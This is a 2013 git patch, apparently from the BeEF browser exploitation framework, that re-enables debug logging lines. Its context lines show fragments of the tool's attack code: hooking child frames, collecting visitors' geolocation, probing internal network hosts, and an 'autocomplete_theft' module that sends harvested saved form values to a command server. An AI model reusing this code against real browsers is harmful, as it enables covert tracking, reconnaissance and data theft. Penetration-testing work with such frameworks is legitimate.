From da763df110648722af8103a501e6baab43c007d0 Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 17 Apr 2013 22:12:35 +0930 Subject: [PATCH] Uncommented several instances of `beef.debug()` - Part of issue #862 --- core/main/client/browser.js | 4 ++-- core/main/client/geolocation.js | 10 +++++----- core/main/client/net/dns.js | 2 +- .../network/internal_network_fingerprinting/command.js | 4 ++-- .../social_engineering/autocomplete_theft/command.js | 2 +- 5 files changed, 11 insertions(+), 11 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index ed83764ca..a63859b3b 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -871,10 +871,10 @@ beef.browser = { try { // append hook script self.frames[i].document.body.appendChild(script); - //beef.debug("Hooked child frame [src:"+self.frames[i].window.location.href+"]"); + beef.debug("Hooked child frame [src:"+self.frames[i].window.location.href+"]"); } catch (e) { // warn on cross-domain - //beef.debug("Hooking frame failed"); + beef.debug("Hooking frame failed"); } } }, diff --git a/core/main/client/geolocation.js b/core/main/client/geolocation.js index 3347bdbc2..4b9970c15 100644 --- a/core/main/client/geolocation.js +++ b/core/main/client/geolocation.js @@ -32,14 +32,14 @@ beef.geolocation = { $j.ajax({ error: function(xhr, status, error){ - //beef.debug("[geolocation.js] openstreetmap error"); + beef.debug("[geolocation.js] openstreetmap error"); beef.net.send(command_url, command_id, "latitude=" + latitude + "&longitude=" + longitude + "&osm=UNAVAILABLE" + "&geoLocEnabled=True"); }, success: function(data, status, xhr){ - //beef.debug("[geolocation.js] openstreetmap success"); + beef.debug("[geolocation.js] openstreetmap success"); var jsonResp = $j.parseJSON(data); beef.net.send(command_url, command_id, "latitude=" + latitude @@ -64,16 +64,16 @@ beef.geolocation = { beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False"); return; } - //beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition"); + beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition"); navigator.geolocation.getCurrentPosition( //note: this is an async call function(position){ // success var latitude = position.coords.latitude; var longitude = position.coords.longitude; - //beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude); + beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude); beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude); }, function(error){ // failure - //beef.debug("[geolocation.js] error [%d] getting position", error.code); + beef.debug("[geolocation.js] error [%d] getting position", error.code); switch(error.code) // Returns 0-3 { case 0: diff --git a/core/main/client/net/dns.js b/core/main/client/net/dns.js index 7955198c2..d3b536c9a 100644 --- a/core/main/client/net/dns.js +++ b/core/main/client/net/dns.js @@ -43,7 +43,7 @@ beef.net.dns = { // sends a DNS request sendQuery = function(query) { - //beef.debug("Requesting: "+query); + beef.debug("Requesting: "+query); var img = new Image; img.src = "http://"+query; img.onload = function() { dom.removeChild(this); } diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index 476041a55..8d4f1f85d 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -219,7 +219,7 @@ beef.execute(function() { for(var u=0; u < urls.length; u++) { if(!urls[u][3] && ports != null){ // use default port var img = new Image; - //beef.debug("Detecting [" + urls[u][0] + "] at IP [" + ips[i] + "]"); + beef.debug("Detecting [" + urls[u][0] + "] at IP [" + ips[i] + "]"); img.id = u; img.src = urls[u][2]+"://"+ips[i]+":"+urls[u][1]+urls[u][4]; img.onload = function() { if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) { beef.net.send('<%= @command_url %>', <%= @command_id %>,'discovered='+escape(urls[this.id][0])+"&url="+escape(this.src));dom.removeChild(this); } } @@ -227,7 +227,7 @@ beef.execute(function() { } else { // iterate to all the specified ports for(p=0;p', <%= @command_id %>,'discovered='+escape(urls[this.id][0])+"&url="+escape(this.src));dom.removeChild(this); } } diff --git a/modules/social_engineering/autocomplete_theft/command.js b/modules/social_engineering/autocomplete_theft/command.js index d8b9ae639..7527b72a8 100644 --- a/modules/social_engineering/autocomplete_theft/command.js +++ b/modules/social_engineering/autocomplete_theft/command.js @@ -44,7 +44,7 @@ beef.execute(function() { var val = JSON.stringify({'input':n,'value':v}); if (v != "" && !inArray(val,results)){ results.push(val); - //beef.debug(val); + beef.debug("[Module - autocomplete_theft] Found saved string: '" + val + "'"); beef.net.send('<%= @command_url %>', <%= @command_id %>, "results="+val); } }